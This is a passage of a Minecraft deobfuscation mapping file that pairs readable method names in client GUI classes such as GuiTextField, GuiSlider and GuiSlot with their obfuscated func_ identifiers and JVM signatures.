net/minecraft/client/gui/GuiTextField/setSelectionPos (I)V net/minecraft/client/gui/GuiTextField/func_146199_i (I)V +MD: net/minecraft/client/gui/GuiTextField/getEnableBackgroundDrawing ()Z net/minecraft/client/gui/GuiTextField/func_146181_i ()Z +MD: net/minecraft/client/gui/GuiTextField/isFocused ()Z net/minecraft/client/gui/GuiTextField/func_146206_l ()Z +MD: net/minecraft/client/gui/GuiTextField/getSelectionEnd ()I net/minecraft/client/gui/GuiTextField/func_146186_n ()I +MD: net/minecraft/client/gui/GuiTextField/getWidth ()I net/minecraft/client/gui/GuiTextField/func_146200_o ()I +MD: net/minecraft/client/gui/GuiTextField/getVisible ()Z net/minecraft/client/gui/GuiTextField/func_146176_q ()Z +MD: net/minecraft/client/gui/GuiSlider$FormatHelper/getText (ILjava/lang/String;F)Ljava/lang/String; net/minecraft/client/gui/GuiSlider$FormatHelper/func_175318_a (ILjava/lang/String;F)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiSlider/func_175219_a (F)V net/minecraft/client/gui/GuiSlider/func_175219_a (F)V +MD: net/minecraft/client/gui/GuiSlider/func_175218_a (FZ)V net/minecraft/client/gui/GuiSlider/func_175218_a (FZ)V +MD: net/minecraft/client/gui/GuiSlider/mouseReleased (II)V net/minecraft/client/gui/GuiSlider/func_146118_a (II)V +MD: net/minecraft/client/gui/GuiSlider/getHoverState (Z)I net/minecraft/client/gui/GuiSlider/func_146114_a (Z)I +MD: net/minecraft/client/gui/GuiSlider/mouseDragged (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiSlider/func_146119_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiSlider/func_175220_c ()F net/minecraft/client/gui/GuiSlider/func_175220_c ()F +MD: net/minecraft/client/gui/GuiSlider/mousePressed (Lnet/minecraft/client/Minecraft;II)Z net/minecraft/client/gui/GuiSlider/func_146116_c (Lnet/minecraft/client/Minecraft;II)Z +MD: net/minecraft/client/gui/GuiSlider/func_175217_d ()F net/minecraft/client/gui/GuiSlider/func_175217_d ()F +MD: net/minecraft/client/gui/GuiSlider/getDisplayString ()Ljava/lang/String; net/minecraft/client/gui/GuiSlider/func_175221_e ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiLabel/setCentered ()Lnet/minecraft/client/gui/GuiLabel; net/minecraft/client/gui/GuiLabel/func_175203_a ()Lnet/minecraft/client/gui/GuiLabel; +MD: net/minecraft/client/gui/GuiLabel/drawLabel (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiLabel/func_146159_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiLabel/func_175202_a (Ljava/lang/String;)V net/minecraft/client/gui/GuiLabel/func_175202_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiLabel/drawLabelBackground (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiLabel/func_146160_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiButtonLanguage/drawButton (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiButtonLanguage/func_146112_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/command/server/CommandPublishLocalServer/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandPublishLocalServer/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandPublishLocalServer/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandPublishLocalServer/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandPublishLocalServer/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandPublishLocalServer/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiListButton/func_175212_b (Z)V net/minecraft/client/gui/GuiListButton/func_175212_b (Z)V +MD: net/minecraft/client/gui/GuiListButton/buildDisplayString ()Ljava/lang/String; net/minecraft/client/gui/GuiListButton/func_175213_c ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiListButton/mousePressed (Lnet/minecraft/client/Minecraft;II)Z net/minecraft/client/gui/GuiListButton/func_146116_c (Lnet/minecraft/client/Minecraft;II)Z +MD: net/minecraft/client/gui/GuiLockIconButton$Icon/func_178910_a ()I net/minecraft/client/gui/GuiLockIconButton$Icon/func_178910_a ()I +MD: net/minecraft/client/gui/GuiLockIconButton$Icon/func_178912_b ()I net/minecraft/client/gui/GuiLockIconButton$Icon/func_178912_b ()I +MD: net/minecraft/client/gui/GuiLockIconButton$Icon/values ()[Lnet/minecraft/client/gui/GuiLockIconButton$Icon; net/minecraft/client/gui/GuiLockIconButton$Icon/values ()[Lnet/minecraft/client/gui/GuiLockIconButton$Icon; +MD: net/minecraft/client/gui/GuiLockIconButton/drawButton (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiLockIconButton/func_146112_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiLockIconButton/func_175229_b (Z)V net/minecraft/client/gui/GuiLockIconButton/func_175229_b (Z)V +MD: net/minecraft/client/gui/GuiLockIconButton/func_175230_c ()Z net/minecraft/client/gui/GuiLockIconButton/func_175230_c ()Z +MD: net/minecraft/client/gui/GuiListExtended$IGuiListEntry/setSelected (III)V net/minecraft/client/gui/GuiListExtended$IGuiListEntry/func_178011_a (III)V +MD: net/minecraft/client/gui/GuiListExtended$IGuiListEntry/mousePressed (IIIIII)Z net/minecraft/client/gui/GuiListExtended$IGuiListEntry/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/GuiListExtended$IGuiListEntry/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/GuiListExtended$IGuiListEntry/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/GuiListExtended$IGuiListEntry/mouseReleased (IIIIII)V net/minecraft/client/gui/GuiListExtended$IGuiListEntry/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/GuiListExtended/drawBackground ()V net/minecraft/client/gui/GuiListExtended/func_148123_a ()V +MD: net/minecraft/client/gui/GuiListExtended/isSelected (I)Z net/minecraft/client/gui/GuiListExtended/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiListExtended/func_178040_a (III)V net/minecraft/client/gui/GuiListExtended/func_178040_a (III)V +MD: net/minecraft/client/gui/GuiListExtended/drawSlot (IIIIII)V net/minecraft/client/gui/GuiListExtended/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiListExtended/elementClicked (IZII)V net/minecraft/client/gui/GuiListExtended/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiListExtended/getListEntry (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; net/minecraft/client/gui/GuiListExtended/func_148180_b (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; +MD: net/minecraft/client/gui/GuiListExtended/mouseClicked (III)Z net/minecraft/client/gui/GuiListExtended/func_148179_a (III)Z +MD: net/minecraft/client/gui/GuiListExtended/mouseReleased (III)Z net/minecraft/client/gui/GuiListExtended/func_148181_b (III)Z +MD: net/minecraft/client/gui/GuiOptionButton/returnEnumOptions ()Lnet/minecraft/client/settings/GameSettings$Options; net/minecraft/client/gui/GuiOptionButton/func_146136_c ()Lnet/minecraft/client/settings/GameSettings$Options; +MD: net/minecraft/client/gui/GuiOptionsRowList$Row/setSelected (III)V net/minecraft/client/gui/GuiOptionsRowList$Row/func_178011_a (III)V +MD: net/minecraft/client/gui/GuiOptionsRowList$Row/mousePressed (IIIIII)Z net/minecraft/client/gui/GuiOptionsRowList$Row/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/GuiOptionsRowList$Row/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/GuiOptionsRowList$Row/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/GuiOptionsRowList$Row/mouseReleased (IIIIII)V net/minecraft/client/gui/GuiOptionsRowList$Row/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/GuiOptionsRowList/func_148182_a (Lnet/minecraft/client/Minecraft;IILnet/minecraft/client/settings/GameSettings$Options;)Lnet/minecraft/client/gui/GuiButton; net/minecraft/client/gui/GuiOptionsRowList/func_148182_a (Lnet/minecraft/client/Minecraft;IILnet/minecraft/client/settings/GameSettings$Options;)Lnet/minecraft/client/gui/GuiButton; +MD: net/minecraft/client/gui/GuiOptionsRowList/getSize ()I net/minecraft/client/gui/GuiOptionsRowList/func_148127_b ()I +MD: net/minecraft/client/gui/GuiOptionsRowList/getListEntry (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; net/minecraft/client/gui/GuiOptionsRowList/func_148180_b (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; +MD: net/minecraft/client/gui/GuiOptionsRowList/getListWidth ()I net/minecraft/client/gui/GuiOptionsRowList/func_148139_c ()I +MD: net/minecraft/client/gui/GuiOptionsRowList/getListEntry (I)Lnet/minecraft/client/gui/GuiOptionsRowList$Row; net/minecraft/client/gui/GuiOptionsRowList/func_148180_b (I)Lnet/minecraft/client/gui/GuiOptionsRowList$Row; +MD: net/minecraft/client/gui/GuiOptionsRowList/getScrollBarX ()I net/minecraft/client/gui/GuiOptionsRowList/func_148137_d ()I +MD: net/minecraft/client/gui/GuiPageButtonList$GuiButtonEntry/func_178940_a ()Z net/minecraft/client/gui/GuiPageButtonList$GuiButtonEntry/func_178940_a ()Z +MD: net/minecraft/client/gui/GuiPageButtonList$GuiResponder/onTick (IF)V net/minecraft/client/gui/GuiPageButtonList$GuiResponder/func_175320_a (IF)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiResponder/func_175319_a (ILjava/lang/String;)V net/minecraft/client/gui/GuiPageButtonList$GuiResponder/func_175319_a (ILjava/lang/String;)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiResponder/func_175321_a (IZ)V net/minecraft/client/gui/GuiPageButtonList$GuiResponder/func_175321_a (IZ)V +MD: net/minecraft/client/gui/GuiPageButtonList$EditBoxEntry/func_178950_a ()Lcom/google/common/base/Predicate; net/minecraft/client/gui/GuiPageButtonList$EditBoxEntry/func_178950_a ()Lcom/google/common/base/Predicate; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178022_a ()Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178022_a ()Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/setSelected (III)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178011_a (III)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/mousePressed (IIIIII)Z net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178026_a (Lnet/minecraft/client/gui/Gui;III)Z net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178026_a (Lnet/minecraft/client/gui/Gui;III)Z +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178017_a (Lnet/minecraft/client/gui/Gui;IIIZ)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178017_a (Lnet/minecraft/client/gui/Gui;IIIZ)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178023_a (Lnet/minecraft/client/gui/GuiButton;III)Z net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178023_a (Lnet/minecraft/client/gui/GuiButton;III)Z +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178024_a (Lnet/minecraft/client/gui/GuiButton;IIIZ)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178024_a (Lnet/minecraft/client/gui/GuiButton;IIIZ)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178018_a (Lnet/minecraft/client/gui/GuiTextField;III)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178018_a (Lnet/minecraft/client/gui/GuiTextField;III)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178027_a (Lnet/minecraft/client/gui/GuiTextField;IZ)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178027_a (Lnet/minecraft/client/gui/GuiTextField;IZ)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178025_a (Lnet/minecraft/client/gui/GuiLabel;IIIZ)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178025_a (Lnet/minecraft/client/gui/GuiLabel;IIIZ)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/access$000 (Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry;)Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList$GuiEntry/access$000 (Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry;)Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178021_b ()Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178021_b ()Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/mouseReleased (IIIIII)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178016_b (Lnet/minecraft/client/gui/Gui;III)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178016_b (Lnet/minecraft/client/gui/Gui;III)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178019_b (Lnet/minecraft/client/gui/GuiButton;III)V net/minecraft/client/gui/GuiPageButtonList$GuiEntry/func_178019_b (Lnet/minecraft/client/gui/GuiButton;III)V +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/access$100 (Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry;)Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList$GuiEntry/access$100 (Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry;)Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/access$200 (Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry;)Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList$GuiEntry/access$200 (Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry;)Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/func_178935_b ()I net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/func_178935_b ()I +MD: net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/func_178936_c ()Ljava/lang/String; net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/func_178936_c ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/func_178934_d ()Z net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/func_178934_d ()Z +MD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178945_a ()Lnet/minecraft/client/gui/GuiSlider$FormatHelper; net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178945_a ()Lnet/minecraft/client/gui/GuiSlider$FormatHelper; +MD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178943_e ()F net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178943_e ()F +MD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178944_f ()F net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178944_f ()F +MD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178942_g ()F net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/func_178942_g ()F +MD: net/minecraft/client/gui/GuiPageButtonList/func_178062_a (CI)V net/minecraft/client/gui/GuiPageButtonList/func_178062_a (CI)V +MD: net/minecraft/client/gui/GuiPageButtonList/func_178065_a (IILnet/minecraft/client/gui/GuiPageButtonList$GuiButtonEntry;)Lnet/minecraft/client/gui/GuiListButton; net/minecraft/client/gui/GuiPageButtonList/func_178065_a (IILnet/minecraft/client/gui/GuiPageButtonList$GuiButtonEntry;)Lnet/minecraft/client/gui/GuiListButton; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178068_a (IILnet/minecraft/client/gui/GuiPageButtonList$EditBoxEntry;)Lnet/minecraft/client/gui/GuiTextField; net/minecraft/client/gui/GuiPageButtonList/func_178068_a (IILnet/minecraft/client/gui/GuiPageButtonList$EditBoxEntry;)Lnet/minecraft/client/gui/GuiTextField; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178063_a (IILnet/minecraft/client/gui/GuiPageButtonList$GuiLabelEntry;Z)Lnet/minecraft/client/gui/GuiLabel; net/minecraft/client/gui/GuiPageButtonList/func_178063_a (IILnet/minecraft/client/gui/GuiPageButtonList$GuiLabelEntry;Z)Lnet/minecraft/client/gui/GuiLabel; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178067_a (IILnet/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry;)Lnet/minecraft/client/gui/GuiSlider; net/minecraft/client/gui/GuiPageButtonList/func_178067_a (IILnet/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry;)Lnet/minecraft/client/gui/GuiSlider; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178066_a (Lnet/minecraft/client/gui/Gui;Z)V net/minecraft/client/gui/GuiPageButtonList/func_178066_a (Lnet/minecraft/client/gui/Gui;Z)V +MD: net/minecraft/client/gui/GuiPageButtonList/func_178058_a (Lnet/minecraft/client/gui/GuiPageButtonList$GuiListEntry;IZ)Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList/func_178058_a (Lnet/minecraft/client/gui/GuiPageButtonList$GuiListEntry;IZ)Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList/func_181155_a (Z)V net/minecraft/client/gui/GuiPageButtonList/func_181155_a (Z)V +MD: net/minecraft/client/gui/GuiPageButtonList/getSize ()I net/minecraft/client/gui/GuiPageButtonList/func_148127_b ()I +MD: net/minecraft/client/gui/GuiPageButtonList/getListEntry (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; net/minecraft/client/gui/GuiPageButtonList/func_148180_b (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; +MD: net/minecraft/client/gui/GuiPageButtonList/mouseClicked (III)Z net/minecraft/client/gui/GuiPageButtonList/func_148179_a (III)Z +MD: net/minecraft/client/gui/GuiPageButtonList/getListWidth ()I net/minecraft/client/gui/GuiPageButtonList/func_148139_c ()I +MD: net/minecraft/client/gui/GuiPageButtonList/func_181156_c (I)V net/minecraft/client/gui/GuiPageButtonList/func_181156_c (I)V +MD: net/minecraft/client/gui/GuiPageButtonList/getScrollBarX ()I net/minecraft/client/gui/GuiPageButtonList/func_148137_d ()I +MD: net/minecraft/client/gui/GuiPageButtonList/func_178061_c (I)Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList/func_178061_c (I)Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178059_e ()I net/minecraft/client/gui/GuiPageButtonList/func_178059_e ()I +MD: net/minecraft/client/gui/GuiPageButtonList/getListEntry (I)Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry; net/minecraft/client/gui/GuiPageButtonList/func_148180_b (I)Lnet/minecraft/client/gui/GuiPageButtonList$GuiEntry; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178060_e (II)V net/minecraft/client/gui/GuiPageButtonList/func_178060_e (II)V +MD: net/minecraft/client/gui/GuiPageButtonList/func_178057_f ()I net/minecraft/client/gui/GuiPageButtonList/func_178057_f ()I +MD: net/minecraft/client/gui/GuiPageButtonList/func_178056_g ()Lnet/minecraft/client/gui/Gui; net/minecraft/client/gui/GuiPageButtonList/func_178056_g ()Lnet/minecraft/client/gui/Gui; +MD: net/minecraft/client/gui/GuiPageButtonList/func_178071_h ()V net/minecraft/client/gui/GuiPageButtonList/func_178071_h ()V +MD: net/minecraft/client/gui/GuiPageButtonList/func_178064_i ()V net/minecraft/client/gui/GuiPageButtonList/func_178064_i ()V +MD: net/minecraft/client/gui/GuiPageButtonList/func_178069_s ()V net/minecraft/client/gui/GuiPageButtonList/func_178069_s ()V +MD: net/minecraft/client/gui/GuiPageButtonList/func_178055_t ()V net/minecraft/client/gui/GuiPageButtonList/func_178055_t ()V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay$PlayerComparator/compare (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/client/network/NetworkPlayerInfo;)I net/minecraft/client/gui/GuiPlayerTabOverlay$PlayerComparator/compare (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/client/network/NetworkPlayerInfo;)I +MD: net/minecraft/client/gui/GuiPlayerTabOverlay$PlayerComparator/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/client/gui/GuiPlayerTabOverlay$PlayerComparator/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/resetFooterHeader ()V net/minecraft/client/gui/GuiPlayerTabOverlay/func_181030_a ()V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/drawPing (IIILnet/minecraft/client/network/NetworkPlayerInfo;)V net/minecraft/client/gui/GuiPlayerTabOverlay/func_175245_a (IIILnet/minecraft/client/network/NetworkPlayerInfo;)V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/renderPlayerlist (ILnet/minecraft/scoreboard/Scoreboard;Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/client/gui/GuiPlayerTabOverlay/func_175249_a (ILnet/minecraft/scoreboard/Scoreboard;Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/drawScoreboardValues (Lnet/minecraft/scoreboard/ScoreObjective;ILjava/lang/String;IILnet/minecraft/client/network/NetworkPlayerInfo;)V net/minecraft/client/gui/GuiPlayerTabOverlay/func_175247_a (Lnet/minecraft/scoreboard/ScoreObjective;ILjava/lang/String;IILnet/minecraft/client/network/NetworkPlayerInfo;)V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/getPlayerName (Lnet/minecraft/client/network/NetworkPlayerInfo;)Ljava/lang/String; net/minecraft/client/gui/GuiPlayerTabOverlay/func_175243_a (Lnet/minecraft/client/network/NetworkPlayerInfo;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/setFooter (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/gui/GuiPlayerTabOverlay/func_175248_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/updatePlayerList (Z)V net/minecraft/client/gui/GuiPlayerTabOverlay/func_175246_a (Z)V +MD: net/minecraft/client/gui/GuiPlayerTabOverlay/setHeader (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/gui/GuiPlayerTabOverlay/func_175244_b (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/gui/GuiSlot/drawBackground ()V net/minecraft/client/gui/GuiSlot/func_148123_a ()V +MD: net/minecraft/client/gui/GuiSlot/isSelected (I)Z net/minecraft/client/gui/GuiSlot/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiSlot/func_148132_a (II)V net/minecraft/client/gui/GuiSlot/func_148132_a (II)V +MD: net/minecraft/client/gui/GuiSlot/drawScreen (IIF)V net/minecraft/client/gui/GuiSlot/func_148128_a (IIF)V +MD: net/minecraft/client/gui/GuiSlot/func_178040_a (III)V net/minecraft/client/gui/GuiSlot/func_178040_a (III)V +MD: net/minecraft/client/gui/GuiSlot/setDimensions (IIII)V net/minecraft/client/gui/GuiSlot/func_148122_a (IIII)V +MD: net/minecraft/client/gui/GuiSlot/drawSlot (IIIIII)V net/minecraft/client/gui/GuiSlot/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiSlot/drawListHeader (IILnet/minecraft/client/renderer/Tessellator;)V net/minecraft/client/gui/GuiSlot/func_148129_a (IILnet/minecraft/client/renderer/Tessellator;)V +MD: net/minecraft/client/gui/GuiSlot/elementClicked (IZII)V net/minecraft/client/gui/GuiSlot/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiSlot/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiSlot/func_148147_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiSlot/setHasListHeader (ZI)V net/minecraft/client/gui/GuiSlot/func_148133_a (ZI)V +MD: net/minecraft/client/gui/GuiSlot/getSize ()I net/minecraft/client/gui/GuiSlot/func_148127_b ()I +MD: net/minecraft/client/gui/GuiSlot/func_148142_b (II)V net/minecraft/client/gui/GuiSlot/func_148142_b (II)V +MD: net/minecraft/client/gui/GuiSlot/drawSelectionBox (IIII)V net/minecraft/client/gui/GuiSlot/func_148120_b (IIII)V +MD: net/minecraft/client/gui/GuiSlot/setShowSelectionBox (Z)V net/minecraft/client/gui/GuiSlot/func_148130_a (Z)V +MD: net/minecraft/client/gui/GuiSlot/getListWidth ()I net/minecraft/client/gui/GuiSlot/func_148139_c ()I +MD: net/minecraft/client/gui/GuiSlot/getSlotIndexFromScreenCoords (II)I net/minecraft/client/gui/GuiSlot/func_148124_c (II)I +MD: net/minecraft/client/gui/GuiSlot/overlayBackground (IIII)V net/minecraft/client/gui/GuiSlot/func_148136_c (IIII)V +MD: net/minecraft/client/gui/GuiSlot/getScrollBarX ()I net/minecraft/client/gui/GuiSlot/func_148137_d ()I +MD: net/minecraft/client/gui/GuiSlot/registerScrollButtons (II)V net/minecraft/client/gui/GuiSlot/func_148134_d (II)V +MD: net/minecraft/client/gui/GuiSlot/setEnabled (Z)V net/minecraft/client/gui/GuiSlot/func_148143_b (Z)V +MD: net/minecraft/client/gui/GuiSlot/isMouseYWithinSlotBounds (I)Z net/minecraft/client/gui/GuiSlot/func_148141_e (I)Z +MD: net/minecraft/client/gui/GuiSlot/scrollBy (I)V net/minecraft/client/gui/GuiSlot/func_148145_f (I)V +MD: net/minecraft/client/gui/GuiSlot/setSlotXBoundsFromLeft (I)V net/minecraft/client/gui/GuiSlot/func_148140_g (I)V +MD: net/minecraft/client/gui/GuiSlot/getContentHeight ()I net/minecraft/client/gui/GuiSlot/func_148138_e ()I +MD: net/minecraft/client/gui/GuiSlot/bindAmountScrolled ()V net/minecraft/client/gui/GuiSlot/func_148121_k ()V +MD: net/minecraft/client/gui/GuiSlot/func_148135_f ()I net/minecraft/client/gui/GuiSlot/func_148135_f ()I +MD: net/minecraft/client/gui/GuiSlot/getAmountScrolled ()I net/minecraft/client/gui/GuiSlot/func_148148_g ()I +MD: net/minecraft/client/gui/GuiSlot/handleMouseInput ()V net/minecraft/client/gui/GuiSlot/func_178039_p ()V +MD: net/minecraft/client/gui/GuiSlot/getEnabled ()Z net/minecraft/client/gui/GuiSlot/func_148125_i ()Z +MD: net/minecraft/client/gui/GuiSlot/getSlotHeight ()I net/minecraft/client/gui/GuiSlot/func_148146_j ()I +MD: net/minecraft/client/gui/GuiOptionSlider/mouseReleased (II)V net/minecraft/client/gui/GuiOptionSlider/func_146118_a (II)V +MD: net/minecraft/client/gui/GuiOptionSlider/getHoverState (Z)I net/minecraft/client/gui/GuiOptionSlider/func_146114_a (Z)I +MD: net/minecraft/client/gui/GuiOptionSlider/mouseDragged (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiOptionSlider/func_146119_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiOptionSlider/mousePressed (Lnet/minecraft/client/Minecraft;II)Z net/minecraft/client/gui/GuiOptionSlider/func_146116_c (Lnet/minecraft/client/Minecraft;II)Z +MD: net/minecraft/client/gui/GuiStreamIndicator/updateStreamAlpha ()V net/minecraft/client/gui/GuiStreamIndicator/func_152439_a ()V +MD: net/minecraft/client/gui/GuiStreamIndicator/render (II)V net/minecraft/client/gui/GuiStreamIndicator/func_152437_a (II)V +MD: net/minecraft/client/gui/GuiStreamIndicator/render (IIII)V net/minecraft/client/gui/GuiStreamIndicator/func_152436_a (IIII)V +MD: net/minecraft/client/gui/GuiStreamIndicator/func_152440_b ()I net/minecraft/client/gui/GuiStreamIndicator/func_152440_b ()I +MD: net/minecraft/client/gui/GuiStreamIndicator/func_152438_c ()I net/minecraft/client/gui/GuiStreamIndicator/func_152438_c ()I +MD: net/minecraft/client/gui/GuiSpectator/func_175262_a ()Z net/minecraft/client/gui/GuiSpectator/func_175262_a ()Z +MD: net/minecraft/client/gui/GuiSpectator/func_175260_a (I)V net/minecraft/client/gui/GuiSpectator/func_175260_a (I)V +MD: net/minecraft/client/gui/GuiSpectator/func_175266_a (IIFFLnet/minecraft/client/gui/spectator/ISpectatorMenuObject;)V net/minecraft/client/gui/GuiSpectator/func_175266_a (IIFFLnet/minecraft/client/gui/spectator/ISpectatorMenuObject;)V +MD: net/minecraft/client/gui/GuiSpectator/renderSelectedItem (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiSpectator/func_175263_a (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiSpectator/renderTooltip 